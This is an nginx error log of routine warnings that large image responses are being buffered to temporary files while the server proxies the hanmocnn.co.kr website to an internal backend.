2026/02/16 23:00:51 [warn] 885#885: *39812 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/9/93/0000010939 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 23:03:40 [warn] 885#885: *39846 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/0/94/0000010940 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 23:03:40 [warn] 885#885: *39846 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/1/94/0000010941 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 23:25:14 [warn] 885#885: *39864 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/2/94/0000010942 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/BatchControl.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/BatchControl.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 23:25:14 [warn] 885#885: *39864 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/3/94/0000010943 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 23:29:17 [warn] 885#885: *39878 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/4/94/0000010944 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 23:31:15 [warn] 885#885: *39891 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/5/94/0000010945 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 23:33:56 [warn] 885#885: *39904 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/6/94/0000010946 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 23:33:56 [warn] 885#885: *39904 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/7/94/0000010947 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 23:41:16 [warn] 885#885: *39917 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/8/94/0000010948 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 23:41:16 [warn] 885#885: *39917 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/9/94/0000010949 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/BatchControl.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/BatchControl.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 23:41:16 [warn] 885#885: *39917 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/0/95/0000010950 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 23:41:17 [warn] 885#885: *39917 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/1/95/0000010951 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 23:47:14 [warn] 888#888: *39941 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/2/95/0000010952 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 23:47:14 [warn] 888#888: *39941 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/3/95/0000010953 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/BatchControl.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/BatchControl.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 23:47:14 [warn] 888#888: *39941 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/4/95/0000010954 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 23:49:18 [warn] 888#888: *39953 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/5/95/0000010955 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 23:56:08 [warn] 888#888: *39965 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/6/95/0000010956 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 23:56:08 [warn] 888#888: *39965 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/7/95/0000010957 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 23:56:54 [warn] 888#888: *39965 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/8/95/0000010958 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 00:03:29 [warn] 895#895: *39990 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/9/95/0000010959 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 00:03:29 [warn] 895#895: *39990 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/0/96/0000010960 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/BatchControl.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/BatchControl.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 00:03:29 [warn] 895#895: *39990 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/1/96/0000010961 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 00:03:29 [warn] 895#895: *39990 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/2/96/0000010962 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 00:06:22 [warn] 898#898: *40002 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/3/96/0000010963 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 00:06:22 [warn] 898#898: *40002 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/4/96/0000010964 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/BatchControl.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/BatchControl.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 00:06:22 [warn] 898#898: *40002 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/5/96/0000010965 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 00:06:22 [warn] 898#898: *40002 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/6/96/0000010966 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 00:07:48 [warn] 898#898: *40002 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/7/96/0000010967 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 00:57:36 [warn] 895#895: *40050 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/8/96/0000010968 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 00:57:36 [warn] 895#895: *40050 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/9/96/0000010969 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 00:57:36 [warn] 895#895: *40050 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/0/97/0000010970 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 00:58:34 [warn] 895#895: *40050 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/1/97/0000010971 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 00:59:38 [warn] 895#895: *40073 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/2/97/0000010972 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 00:59:38 [warn] 895#895: *40073 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/3/97/0000010973 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/BatchControl.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/BatchControl.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 00:59:38 [warn] 895#895: *40073 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/4/97/0000010974 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 00:59:38 [warn] 895#895: *40073 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/5/97/0000010975 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:02:01 [warn] 895#895: *40086 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/6/97/0000010976 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/BatchControl.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/BatchControl.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:02:01 [warn] 895#895: *40086 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/7/97/0000010977 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:02:01 [warn] 895#895: *40086 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/8/97/0000010978 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:10:35 [warn] 895#895: *40101 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/9/97/0000010979 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:10:35 [warn] 895#895: *40101 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/0/98/0000010980 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:19:19 [warn] 895#895: *40133 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/1/98/0000010981 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/BatchControl.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/BatchControl.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:19:19 [warn] 895#895: *40133 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/2/98/0000010982 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:19:19 [warn] 895#895: *40133 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/3/98/0000010983 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:26:25 [warn] 895#895: *40149 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/4/98/0000010984 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:26:25 [warn] 895#895: *40149 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/5/98/0000010985 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/BatchControl.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/BatchControl.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:26:25 [warn] 895#895: *40149 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/6/98/0000010986 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:26:26 [warn] 895#895: *40149 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/7/98/0000010987 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/bearing.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/bearing.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:27:55 [warn] 898#898: *40165 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/8/98/0000010988 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:27:55 [warn] 898#898: *40165 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/9/98/0000010989 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:27:55 [warn] 898#898: *40165 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/0/99/0000010990 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/BatchControl.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/BatchControl.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:27:55 [warn] 898#898: *40165 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/1/99/0000010991 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/bearing.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/bearing.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:28:31 [warn] 898#898: *40194 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/2/99/0000010992 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:28:31 [warn] 898#898: *40194 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/3/99/0000010993 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:28:32 [warn] 898#898: *40194 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/4/99/0000010994 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/bearing.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/bearing.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:30:16 [warn] 898#898: *40209 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/5/99/0000010995 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:30:16 [warn] 898#898: *40209 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/6/99/0000010996 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:30:16 [warn] 898#898: *40209 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/7/99/0000010997 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/bearing.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/bearing.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:41:23 [warn] 898#898: *40229 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/8/99/0000010998 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:41:23 [warn] 898#898: *40229 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/9/99/0000010999 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:52:23 [warn] 898#898: *40244 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/0/00/0000011000 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:52:23 [warn] 898#898: *40244 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/1/00/0000011001 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/BatchControl.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/BatchControl.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:52:23 [warn] 898#898: *40244 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/2/00/0000011002 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:52:23 [warn] 898#898: *40244 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/3/00/0000011003 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/bearing.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/bearing.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:54:48 [warn] 898#898: *40259 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/4/00/0000011004 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:54:48 [warn] 898#898: *40259 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/5/00/0000011005 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:58:25 [warn] 898#898: *40275 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/6/00/0000011006 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:58:25 [warn] 898#898: *40275 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/7/00/0000011007 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 01:58:25 [warn] 898#898: *40275 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/8/00/0000011008 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/bearing.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/bearing.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 02:09:27 [warn] 898#898: *40291 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/9/00/0000011009 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/BatchControl.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/BatchControl.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
